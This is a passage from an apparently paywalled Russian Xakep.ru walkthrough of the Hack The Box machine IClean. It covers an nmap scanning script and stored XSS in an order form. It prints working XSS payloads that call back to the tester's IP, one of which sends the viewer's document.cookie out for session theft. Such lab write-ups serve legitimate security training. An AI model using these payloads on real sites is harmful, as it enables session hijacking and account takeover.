Содержание статьи
Наша цель — получение прав суперпользователя на машине IСlean с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /:
10.10.11.12 iclean.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел всего два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52.
Как обычно в таких случаях, начинаем с проверки сайта.
Точка входа
Изучая сайт, находим форму заказа услуг.
Отмечаем все позиции и выполняем заказ. Затем в Burp History смотрим на сам запрос к серверу и проверяем отправляемые параметры.
В параметрах отправляются не значения true и false, что было бы логичнее, а название услуги. Скорее всего, указанные в заказе услуги отображаются у другого пользователя, поэтому стоит проверить, нет ли здесь XSS. Для этого запустим веб‑сервер:
python3 -m http.server
Комбинацией клавиш Ctrl-R перенаправим запрос из Burp History в Burp Repeater и зашлем базовую нагрузку, которая выполнит запрос на наш веб‑сервер.
<img src=x onerror=fetch("http://10.10.14.83:8000/test_xss");>
В логах видим запрос, а значит, сервис уязвим. Теперь попробуем увести куки пользователя, который просматривает заказы.
<img src=x onerror=fetch("http://10.10.14.83:8000/"+document.cookie);>
Применяем идентификатор сессии в локальном хранилище браузера Chrome и переходим на страницу /.
Нам стали доступны новые функции, пройдемся по ним по порядку.
Точка опоры
Начнем с генератора QR-кода. Первым делом нам необходимо получить Invoice ID.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»
